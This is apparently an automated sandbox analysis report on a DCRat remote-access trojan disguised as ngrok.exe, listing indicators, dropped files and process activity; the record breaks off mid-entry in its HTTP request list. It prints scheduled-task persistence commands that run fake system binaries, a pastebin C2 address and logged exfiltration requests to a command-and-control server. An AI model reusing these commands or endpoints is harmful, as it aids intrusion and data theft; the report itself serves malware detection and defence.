File name:

ngrok.exe

Full analysis: https://app.any.run/tasks/18bd4182-fff6-4288-9c57-866b03b27e4d
Verdict: Malicious activity
Threats:

A backdoor is a type of cybersecurity threat that allows attackers to secretly compromise a system and conduct malicious activities, such as stealing data and modifying files. Backdoors can be difficult to detect, as they often use legitimate system applications to evade defense mechanisms. Threat actors often utilize special malware, such as PlugX, to establish backdoors on target devices.

Malware Trends Tracker     >>>
Analysis date: November 15, 2023, 11:35:55
OS: Windows 7 Professional Service Pack 1 (build: 7601, 32 bit)
Tags:
rat
backdoor
dcrat
remote
stealer
loader
Indicators:
MIME: application/x-dosexec
File info: PE32 executable (GUI) Intel 80386, for MS Windows
MD5:

FE537DF2FB1AFF9D5A5C60677B7CA308

SHA1:

8FEDF940F54CE8A8A92F1FA5D40C638DE1D01F1D

SHA256:

4D7DF426458DC72E071039C9F9822B9FFA4AE5D5D714AF7115C34F111231A70C

SSDEEP:

98304:m/Zqc7ZStSEvebOYpobhCqKH/PpQ/76tgzYhCX5Kemq5oLWKTcVwIry/PPGR+rwt:0n2y2peN8FP

ANY.RUN is an interactive service which provides full access to the guest system. Information in this report could be distorted by user actions and is provided for user acknowledgement as it is. ANY.RUN does not guarantee maliciousness or safety of the content.

  • MALICIOUS

    • Drops the executable file immediately after the start

      • ngrok.exe (PID: 3884)
      • DaemonTools.exe (PID: 3840)
      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)
      • explorer.exe (PID: 908)

    • Creates a writable file the system directory

      • ngrok.exe (PID: 3884)

    • Uses sleep, probably for evasion detection (SCRIPT)

      • wscript.exe (PID: 3744)

    • Actions looks like stealing of personal data

      • explorer.exe (PID: 908)

    • DCRAT has been detected (SURICATA)

      • explorer.exe (PID: 908)

    • Connects to the CnC server

      • explorer.exe (PID: 908)

    • DCRAT has been detected (YARA)

      • explorer.exe (PID: 908)

  • SUSPICIOUS

    • Reads the Internet Settings

      • ngrok.exe (PID: 3884)
      • DaemonTools.exe (PID: 3840)
      • wscript.exe (PID: 3744)
      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)
      • explorer.exe (PID: 908)

    • Executing commands from a ".bat" file

      • wscript.exe (PID: 3744)
      • bridgewin.exe (PID: 2064)

    • Starts CMD.EXE for commands execution

      • wscript.exe (PID: 3744)
      • bridgewin.exe (PID: 2064)

    • Runs shell command (SCRIPT)

      • wscript.exe (PID: 3744)

    • Executed via WMI

      • schtasks.exe (PID: 1576)
      • schtasks.exe (PID: 3700)
      • schtasks.exe (PID: 3600)
      • schtasks.exe (PID: 1528)
      • schtasks.exe (PID: 1760)
      • schtasks.exe (PID: 1852)
      • schtasks.exe (PID: 2376)
      • schtasks.exe (PID: 528)
      • schtasks.exe (PID: 984)
      • schtasks.exe (PID: 1860)
      • schtasks.exe (PID: 148)
      • schtasks.exe (PID: 1840)
      • schtasks.exe (PID: 712)
      • schtasks.exe (PID: 1640)
      • schtasks.exe (PID: 2084)
      • schtasks.exe (PID: 1560)
      • schtasks.exe (PID: 2136)
      • schtasks.exe (PID: 2336)
      • schtasks.exe (PID: 2316)
      • schtasks.exe (PID: 2620)
      • schtasks.exe (PID: 2644)
      • schtasks.exe (PID: 1592)
      • schtasks.exe (PID: 3476)
      • schtasks.exe (PID: 2784)
      • schtasks.exe (PID: 2780)
      • schtasks.exe (PID: 1616)
      • schtasks.exe (PID: 556)
      • schtasks.exe (PID: 120)
      • schtasks.exe (PID: 2860)
      • schtasks.exe (PID: 2412)
      • schtasks.exe (PID: 280)
      • schtasks.exe (PID: 2832)
      • schtasks.exe (PID: 856)
      • schtasks.exe (PID: 2612)
      • schtasks.exe (PID: 2692)
      • schtasks.exe (PID: 2396)
      • schtasks.exe (PID: 1068)
      • schtasks.exe (PID: 2944)
      • schtasks.exe (PID: 3372)
      • schtasks.exe (PID: 3328)
      • schtasks.exe (PID: 2460)
      • schtasks.exe (PID: 3388)
      • schtasks.exe (PID: 844)
      • schtasks.exe (PID: 3472)
      • schtasks.exe (PID: 3196)
      • schtasks.exe (PID: 3228)
      • schtasks.exe (PID: 3612)
      • schtasks.exe (PID: 2812)
      • schtasks.exe (PID: 2896)
      • schtasks.exe (PID: 3888)
      • schtasks.exe (PID: 3444)
      • schtasks.exe (PID: 3864)
      • schtasks.exe (PID: 3748)
      • schtasks.exe (PID: 3764)
      • schtasks.exe (PID: 4008)
      • schtasks.exe (PID: 3604)
      • schtasks.exe (PID: 3164)
      • schtasks.exe (PID: 3236)
      • schtasks.exe (PID: 3904)
      • schtasks.exe (PID: 3940)
      • schtasks.exe (PID: 3976)
      • schtasks.exe (PID: 3744)
      • schtasks.exe (PID: 3908)
      • schtasks.exe (PID: 4000)
      • schtasks.exe (PID: 3396)
      • schtasks.exe (PID: 3660)
      • schtasks.exe (PID: 3020)
      • schtasks.exe (PID: 1828)
      • schtasks.exe (PID: 2076)

    • The process creates files with name similar to system file names

      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)

    • Probably delay the execution using 'w32tm.exe'

      • cmd.exe (PID: 2920)

    • Starts itself from another location

      • bridgewin.exe (PID: 3032)

    • Reads settings of System Certificates

      • explorer.exe (PID: 908)

    • The process executes via Task Scheduler

      • explorer.exe (PID: 2540)
      • taskhost.exe (PID: 1420)

  • INFO

    • Create files in a temporary directory

      • ngrok.exe (PID: 3440)
      • ngrok.exe (PID: 3884)
      • bridgewin.exe (PID: 2064)

    • Checks supported languages

      • ngrok.exe (PID: 3884)
      • ngrok.exe (PID: 3440)
      • DaemonTools.exe (PID: 3840)
      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)
      • explorer.exe (PID: 908)
      • wmpnscfg.exe (PID: 684)
      • explorer.exe (PID: 2540)
      • taskhost.exe (PID: 1420)

    • Reads the computer name

      • ngrok.exe (PID: 3440)
      • ngrok.exe (PID: 3884)
      • DaemonTools.exe (PID: 3840)
      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)
      • explorer.exe (PID: 908)
      • wmpnscfg.exe (PID: 684)
      • explorer.exe (PID: 2540)
      • taskhost.exe (PID: 1420)

    • Reads the machine GUID from the registry

      • ngrok.exe (PID: 3440)
      • ngrok.exe (PID: 3884)
      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)
      • explorer.exe (PID: 908)
      • wmpnscfg.exe (PID: 684)
      • explorer.exe (PID: 2540)
      • taskhost.exe (PID: 1420)

    • Manual execution by a user

      • ngrok.exe (PID: 3884)
      • wmpnscfg.exe (PID: 684)

    • Reads Environment values

      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)
      • explorer.exe (PID: 908)
      • explorer.exe (PID: 2540)
      • taskhost.exe (PID: 1420)

    • Reads product name

      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)
      • explorer.exe (PID: 908)
      • explorer.exe (PID: 2540)
      • taskhost.exe (PID: 1420)

    • Creates files in the program directory

      • bridgewin.exe (PID: 2064)
      • bridgewin.exe (PID: 3032)
Find more information about signature artifacts and mapping to MITRE ATT&CK™ MATRIX at the full report

DcRat

(PID) Process(908) explorer.exe
C2 (1)https://pastebin.com/raw/F7sGWfsZ
Options
MutexDCR_MUTEX-1sOjNc2ahksm7xLessXi
searchpath%UsersFolder% - Fast
Targetals
No Malware configuration.

TRiD

.exe | Win32 Executable MS Visual C++ 4.x (75)
.exe | Win64 Executable (generic) (15.3)
.dll | Win32 Dynamic Link Library (generic) (3.6)
.exe | Win32 Executable (generic) (2.5)
.exe | Win16/32 Executable Delphi generic (1.1)

EXIF

EXE

MachineType: Intel 386 or later, and compatibles
TimeStamp: 2013:06:15 18:44:28+02:00
ImageFileCharacteristics: No relocs, Executable, No line numbers, No symbols, 32-bit
PEType: PE32
LinkerVersion: 5.12
CodeSize: 3584
InitializedDataSize: 2380800
UninitializedDataSize: -
EntryPoint: 0x1ae1
OSVersion: 4
ImageVersion: -
SubsystemVersion: 4
Subsystem: Windows GUI
No data.
screenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshotscreenshot
All screenshots are available in the full report
All screenshots are available in the full report
Total processes
125
Monitored processes
84
Malicious processes
9
Suspicious processes
2

Behavior graph

Click at the process to see the details
start ngrok.exe no specs PhotoViewer.dll no specs ngrok.exe daemontools.exe no specs PhotoViewer.dll no specs wscript.exe no specs cmd.exe no specs bridgewin.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs cmd.exe no specs w32tm.exe no specs bridgewin.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs schtasks.exe no specs #DCRAT explorer.exe wmpnscfg.exe no specs taskhost.exe no specs explorer.exe no specs

Process information

PID
CMD
Path
Indicators
Parent process
120schtasks.exe /create /tn "SystemS" /sc MINUTE /mo 5 /tr "'C:\Program Files\Reference Assemblies\Microsoft\Framework\v3.0\System.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
148schtasks.exe /create /tn "winlogon" /sc ONLOGON /tr "'C:\MSOCache\All Users\winlogon.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
280schtasks.exe /create /tn "bridgewinb" /sc MINUTE /mo 12 /tr "'C:\Program Files\CCleaner\LOG\bridgewin.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
528schtasks.exe /create /tn "bridgewinb" /sc MINUTE /mo 7 /tr "'C:\MSOCache\All Users\{90140000-001B-0410-0000-0000000FF1CE}-C\bridgewin.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
556schtasks.exe /create /tn "IMEDICTUPDATEI" /sc MINUTE /mo 10 /tr "'C:\webdriverintoBroker\IMEDICTUPDATE.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
684"C:\Program Files\Windows Media Player\wmpnscfg.exe"C:\Program Files\Windows Media Player\wmpnscfg.exe—explorer.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
MEDIUM
Description:
Windows Media Player Network Sharing Service Configuration Application
Exit code:
0
Version:
12.0.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\program files\windows media player\wmpnscfg.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\system32\sspicli.dll
c:\windows\system32\ole32.dll
712schtasks.exe /create /tn "servicess" /sc MINUTE /mo 9 /tr "'C:\webdriverintoBroker\services.exe'" /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
844schtasks.exe /create /tn "services" /sc ONLOGON /tr "'C:\webdriverintoBroker\services.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
856schtasks.exe /create /tn "IMEDICTUPDATEI" /sc MINUTE /mo 10 /tr "'C:\Windows\Logs\CBS\IMEDICTUPDATE.exe'" /rl HIGHEST /fC:\Windows\System32\schtasks.exe—WmiPrvSE.exe
User:
admin
Company:
Microsoft Corporation
Integrity Level:
HIGH
Description:
Manages scheduled tasks
Exit code:
0
Version:
6.1.7600.16385 (win7_rtm.090713-1255)
Modules
Images
c:\windows\system32\schtasks.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\user32.dll
c:\windows\system32\gdi32.dll
c:\windows\system32\lpk.dll
c:\windows\system32\usp10.dll
c:\windows\system32\ole32.dll
908"C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\explorer.exe" C:\Recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\explorer.exe
bridgewin.exe
User:
admin
Integrity Level:
HIGH
Exit code:
0
Version:
5.15.2.0
Modules
Images
c:\recovery\345b46fe-a9f9-11e7-a83c-e8a4f72b1d33\explorer.exe
c:\windows\system32\ntdll.dll
c:\windows\system32\mscoree.dll
c:\windows\system32\kernel32.dll
c:\windows\system32\kernelbase.dll
c:\windows\system32\advapi32.dll
c:\windows\system32\msvcrt.dll
c:\windows\system32\sechost.dll
c:\windows\system32\rpcrt4.dll
c:\windows\microsoft.net\framework\v4.0.30319\mscoreei.dll
DcRat
(PID) Process(908) explorer.exe
C2 (1)https://pastebin.com/raw/F7sGWfsZ
Options
MutexDCR_MUTEX-1sOjNc2ahksm7xLessXi
searchpath%UsersFolder% - Fast
Targetals
Total events
8 583
Read events
8 467
Write events
113
Delete events
3

Modification events

(PID) Process:(3440) ngrok.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Direct3D\MostRecentApplication
Operation:writeName:Name
Value:
Explorer.EXE
(PID) Process:(3140) dllhost.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Direct3D\MostRecentApplication
Operation:writeName:Name
Value:
ngrok.exe
(PID) Process:(3884) ngrok.exeKey:HKEY_CLASSES_ROOT\Local Settings\MuiCache\17A\52C64B7E
Operation:writeName:LanguageList
Value:
en-US
(PID) Process:(3884) ngrok.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
(PID) Process:(3884) ngrok.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:IntranetName
Value:
1
(PID) Process:(3884) ngrok.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:UNCAsIntranet
Value:
1
(PID) Process:(3884) ngrok.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:AutoDetect
Value:
0
(PID) Process:(3884) ngrok.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Direct3D\MostRecentApplication
Operation:writeName:Name
Value:
DllHost.exe
(PID) Process:(3940) dllhost.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Direct3D\MostRecentApplication
Operation:writeName:Name
Value:
ngrok.exe
(PID) Process:(3840) DaemonTools.exeKey:HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Internet Settings\ZoneMap
Operation:writeName:ProxyBypass
Value:
1
Executable files
24
Suspicious files
1
Text files
25
Unknown types
0

Dropped files

PID
Process
Filename
Type
3840DaemonTools.exeC:\webdriverintoBroker\XJ1o4fMbRYWrbgJUbuFfegXd3p.vbebinary
MD5:4E871FC65E1B4A02078B976720C538CC
SHA256:BC733C7B29F6D8BE60B4B674F50A90E20DE5FC9B9B9692FA60C7B3DD6019D1F2
3884ngrok.exeC:\Windows\system32\DaemonTools.exeexecutable
MD5:09D2B2298EDF06505941D7CD216C348B
SHA256:E16DF4E2C0FA9CA6C5A190BEB3A4A524139ACD0FCF44E3E3D1F43EA33C4F31D4
2064bridgewin.exeC:\webdriverintoBroker\1173b9a28a9c10text
MD5:FAC184ED4FA29E2AA41604BB71DF392C
SHA256:C81D16B0FF75083F45B65964095976B4A75F34A4528634DC2028A62EFF2595AD
2064bridgewin.exeC:\webdriverintoBroker\c5b4cb5e9653cctext
MD5:EABF2AD30F4E761F27AE5671D324BDCA
SHA256:A8562C60A609076FDC9EACD2B691FE8A2B958ABA50C2D71021EB8108E5E5563B
3840DaemonTools.exeC:\webdriverintoBroker\bridgewin.exeexecutable
MD5:C098039E0BB92FE32E1CE350768766D7
SHA256:89B656F4420609E3C3C5BFE7796955BD31F72C0BCEDEDEB028C0ED2761386343
2064bridgewin.exeC:\MSOCache\All Users\e8aa3d0a77e909text
MD5:2054A1F4751464AD7D89311E01F2A326
SHA256:B8375CD852C0AA5017D6386EBFA7979725AA5D9E6A95F8CC15BA9823FF7E2B40
2064bridgewin.exeC:\MSOCache\All Users\SearchProtocolHost.exeexecutable
MD5:C098039E0BB92FE32E1CE350768766D7
SHA256:89B656F4420609E3C3C5BFE7796955BD31F72C0BCEDEDEB028C0ED2761386343
2064bridgewin.exeC:\MSOCache\All Users\{90140000-001B-0410-0000-0000000FF1CE}-C\bridgewin.exeexecutable
MD5:C098039E0BB92FE32E1CE350768766D7
SHA256:89B656F4420609E3C3C5BFE7796955BD31F72C0BCEDEDEB028C0ED2761386343
2064bridgewin.exeC:\Program Files\Mozilla Firefox\uninstall\69ddcba757bf72text
MD5:6EACEBDE387D09FAEAEFF97CDE2572BF
SHA256:DBFC3C6DE60B6A4EA24D3C4A51BB5BA7C4AF3230B9C69D2B4C6B155AB669B239
2064bridgewin.exeC:\MSOCache\All Users\{90140000-001B-0410-0000-0000000FF1CE}-C\314da672bf7273text
MD5:53BE36A6C22181E9B2883F771F99FC22
SHA256:4B742B9D4B2EC00BFBE05D79444B322CA5C3D0AE411C4EB3C6E186AC1D2D69AF
Download PCAP, analyze network streams, HTTP content and a lot more at the full report
HTTP(S) requests
153
TCP/UDP connections
11
DNS requests
2
Threats
11

HTTP requests

PID
Process
Method
HTTP Code
IP
URL
CN
Type
Size
Reputation
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&e6c735397ffb81f7e9d5ab64185f9ffd=0VfiIiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiI0gTNlV2MiBzMyUmYyQjNycTZiNmZwYDNwQWY3YzY1YTZyE2YxQ2N3IiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
—
—
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&4478549403ad7f9944a7a7af6cdbb603=d1nIwYkWsJlbjhmUzM2Z0cVYuZFSiFlQTx0ZwUVUnFFVOZTW61kNFRVTn1kaNdXS6xUMFpHT4VkeXJiOiQzY4kTMzgjM1ImMzYWYkZTOwkDM4EjMjRGM5IzN0cTMiwiIyMGNyQGOkJGZiFWY3UTM0QWOxQjN3IjY0cjZ4I2MkJTZzEWNlBTNxIiOiUjYygzN0kDZwUmN5YjY4MmZkFzNkNTZilTMiRDMxQzYiwiI0IzMjZmZ1QTMwYGNxYDM4kjMiRWYilTOzgTZ1MjY1gTN0YWOjRTY2IiOikDO5MTM1kjYhFTNwUWY0YjYkZmN3MGO4QDZlFzMlRjYis3W
unknown
text
2.09 Kb
unknown
908
explorer.exe
GET
200
141.8.192.82:80
http://a0884237.xsph.ru/L1nc0In.php?HYat0MFSzQgVKfNNuz9BZZ=Xz2jfOiRaUzDWAd8RSo9XZ98&3de16ac6c49327e2baa9892ff5d5faeb=wN1I2N0IWNycDMyYDM1cjM4UTNhdzNjhzYkhTZxETZxUDZ3UzNkFzN1kjN0MzN5QDOzgDM1YjN&264710504478b89f5a5ae5da2e5670ef=wYwM2MlBDZ4cjMlBDNmVmYjJTZ0YGMmRmZmFjZyU2YygjN2MTYhZDM&4478549403ad7f9944a7a7af6cdbb603=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
unknown
text
2.09 Kb
unknown
908
explorer.exe
GET
200
141.8.192.82:80
